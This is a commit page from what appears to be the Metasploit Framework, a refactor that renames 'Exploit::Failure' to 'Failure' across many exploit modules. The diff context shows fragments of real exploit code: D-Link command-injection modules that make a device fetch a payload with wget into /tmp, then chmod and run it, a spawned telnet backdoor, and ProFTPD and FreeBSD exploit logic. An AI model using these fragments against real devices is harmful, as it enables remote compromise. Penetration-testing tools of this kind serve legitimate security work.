Skip to content

Commit 6c1ba9c

Browse files
author
HD Moore
committed
Switch to Failure vs Exploit::Failure
1 parent bec15eb commit 6c1ba9c

File tree

177 files changed

+527
-527
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

177 files changed

+527
-527
lines changed

modules/auxiliary/gather/apple_safari_webarchive_uxss.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,7 @@ def cleanup
9393
#
9494
def use_zlib
9595
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
96-
fail_with(Exploit::Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
96+
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
9797
end
9898
end
9999

modules/exploits/aix/rpc_cmsd_opcode21.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def brute_exploit(brute_target)
8383

8484
begin
8585
if (not sunrpc_create('udp', 100068, 4))
86-
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
86+
fail_with(Failure::Unknown, 'sunrpc_create failed')
8787
end
8888

8989
# spray the heap a bit (work around powerpc cache issues)

modules/exploits/bsdi/softcart/mercantec_softcart.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ def brute_exploit(address)
7272
'uri' => normalize_uri(datastore['URI'])
7373
}, 5)
7474
@mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
75-
fail_with(Exploit::Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
75+
fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
7676
end
7777

7878
buffer =

modules/exploits/freebsd/ftp/proftp_telnet_iac.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -148,7 +148,7 @@ def exploit
148148
print_status("FTP Banner: #{banner.strip}")
149149
version = m[1]
150150
else
151-
fail_with(Exploit::Failure::NoTarget, "No matching target")
151+
fail_with(Failure::NoTarget, "No matching target")
152152
end
153153

154154
regexp = Regexp.escape(version)
@@ -160,14 +160,14 @@ def exploit
160160
end
161161

162162
if (not @mytarget)
163-
fail_with(Exploit::Failure::NoTarget, "No matching target")
163+
fail_with(Failure::NoTarget, "No matching target")
164164
end
165165

166166
print_status("Selected Target: #{@mytarget.name}")
167167

168168
pl = exploit_regenerate_payload(@mytarget.platform, arch)
169169
if not pl
170-
fail_with(Exploit::Failure::Unknown, 'Unable to regenerate payload!')
170+
fail_with(Failure::Unknown, 'Unable to regenerate payload!')
171171
end
172172
else
173173
print_status("Trying target #{@mytarget.name}...")

modules/exploits/freebsd/local/mmap.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ def upload_payload
6969
fname = datastore['WritableDir']
7070
fname = "#{fname}/" unless fname =~ %r'/$'
7171
if fname.length > 36
72-
fail_with(Exploit::Failure::BadConfig, "WritableDir can't be longer than 33 characters")
72+
fail_with(Failure::BadConfig, "WritableDir can't be longer than 33 characters")
7373
end
7474
fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"
7575

@@ -100,11 +100,11 @@ def upload_exploit(payload_fname)
100100

101101
def exploit
102102
payload_fname = upload_payload
103-
fail_with(Exploit::Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
103+
fail_with(Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
104104
print_status("Payload #{payload_fname} uploaded.")
105105

106106
exploit_fname = upload_exploit(payload_fname)
107-
fail_with(Exploit::Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
107+
fail_with(Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
108108
print_status("Exploit #{exploit_fname} uploaded.")
109109

110110
register_files_for_cleanup(payload_fname, exploit_fname)

modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -97,7 +97,7 @@ def exploit_target(t)
9797
loop do
9898
data = sock.get_once(-1, 5) rescue nil
9999
if not data
100-
fail_with(Exploit::Failure::Unknown, "This system does not support encryption")
100+
fail_with(Failure::Unknown, "This system does not support encryption")
101101
end
102102
break if data.index("\xff\xfa\x26\x02\x01")
103103
end

modules/exploits/linux/ftp/proftp_sreplace.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -165,7 +165,7 @@ def exploit
165165
print_status("FTP Banner: #{banner.strip}")
166166
version = m[1]
167167
else
168-
fail_with(Exploit::Failure::NoTarget, "No matching target")
168+
fail_with(Failure::NoTarget, "No matching target")
169169
end
170170

171171
regexp = Regexp.escape(version)
@@ -177,7 +177,7 @@ def exploit
177177
end
178178

179179
if (not mytarget)
180-
fail_with(Exploit::Failure::NoTarget, "No matching target")
180+
fail_with(Failure::NoTarget, "No matching target")
181181
end
182182

183183
print_status("Selected Target: #{mytarget.name}")
@@ -193,7 +193,7 @@ def exploit
193193

194194
pwd = send_cmd(['PWD'])
195195
if pwd !~ /257\s\"(.+)\"/
196-
fail_with(Exploit::Failure::Unknown, "Unable to get current working directory")
196+
fail_with(Failure::Unknown, "Unable to get current working directory")
197197
end
198198
pwd = $1
199199
pwd << "/" if pwd[-1,1] != "/"

modules/exploits/linux/ftp/proftp_telnet_iac.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -325,7 +325,7 @@ def exploit
325325
print_status("FTP Banner: #{banner.strip}")
326326
version = m[1]
327327
else
328-
fail_with(Exploit::Failure::NoTarget, "No matching target")
328+
fail_with(Failure::NoTarget, "No matching target")
329329
end
330330

331331
regexp = Regexp.escape(version)
@@ -337,7 +337,7 @@ def exploit
337337
end
338338

339339
if (not mytarget)
340-
fail_with(Exploit::Failure::NoTarget, "No matching target")
340+
fail_with(Failure::NoTarget, "No matching target")
341341
end
342342

343343
print_status("Selected Target: #{mytarget.name}")
@@ -383,7 +383,7 @@ def exploit
383383
# Make sure we didn't introduce instability
384384
addr_badchars = "\x09\x0a\x0b\x0c\x20"
385385
if idx = Rex::Text.badchar_index(addrs, addr_badchars)
386-
fail_with(Exploit::Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
386+
fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
387387
end
388388

389389
buf << addrs
@@ -432,7 +432,7 @@ def exploit
432432
end
433433

434434
if not session_created?
435-
fail_with(Exploit::Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
435+
fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
436436
end
437437
else
438438
sock.put(buf)

modules/exploits/linux/http/dlink_command_php_exec_noauth.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -76,21 +76,21 @@ def exploit
7676

7777
def exploit_cmd
7878
if not (datastore['CMD'])
79-
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
79+
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
8080
end
8181
cmd = "#{payload.encoded}; echo end"
8282
print_status("#{rhost}:#{rport} - Sending exploit request...")
8383
res = request(cmd)
8484
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
85-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
85+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
8686
end
8787

8888
if res.body.include?("end")
8989
print_good("#{rhost}:#{rport} - Exploited successfully\n")
9090
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
9191
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
9292
else
93-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
93+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
9494
end
9595

9696
return
@@ -114,7 +114,7 @@ def exploit_telnet
114114
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
115115
add_socket(sock)
116116
else
117-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
117+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
118118
end
119119

120120
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
@@ -137,7 +137,7 @@ def exploit_telnet
137137
}
138138
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
139139
rescue
140-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
140+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
141141
end
142142
return
143143
end
@@ -156,7 +156,7 @@ def request(cmd)
156156
})
157157
return res
158158
rescue ::Rex::ConnectionError
159-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
159+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
160160
end
161161
end
162162
end

modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -102,12 +102,12 @@ def exploit
102102

103103
if target.name =~ /CMD/
104104
if not (datastore['CMD'])
105-
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
105+
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
106106
end
107107
cmd = payload.encoded
108108
res = request(cmd,uri)
109109
if (!res)
110-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
110+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
111111
end
112112
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
113113
return
@@ -163,7 +163,7 @@ def exploit
163163
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
164164
res = request(cmd,uri)
165165
if (!res)
166-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
166+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
167167
end
168168

169169
# wait for payload download
@@ -182,7 +182,7 @@ def exploit
182182
print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
183183
res = request(cmd,uri)
184184
if (!res)
185-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
185+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
186186
end
187187

188188
#
@@ -192,7 +192,7 @@ def exploit
192192
print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
193193
res = request(cmd,uri)
194194
if (!res)
195-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
195+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
196196
end
197197

198198
end
@@ -218,7 +218,7 @@ def wait_linux_payload
218218
select(nil, nil, nil, 1)
219219
waited += 1
220220
if (waited > datastore['HTTP_DELAY'])
221-
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
221+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
222222
end
223223
end
224224
end

0 commit comments

Comments
 (0)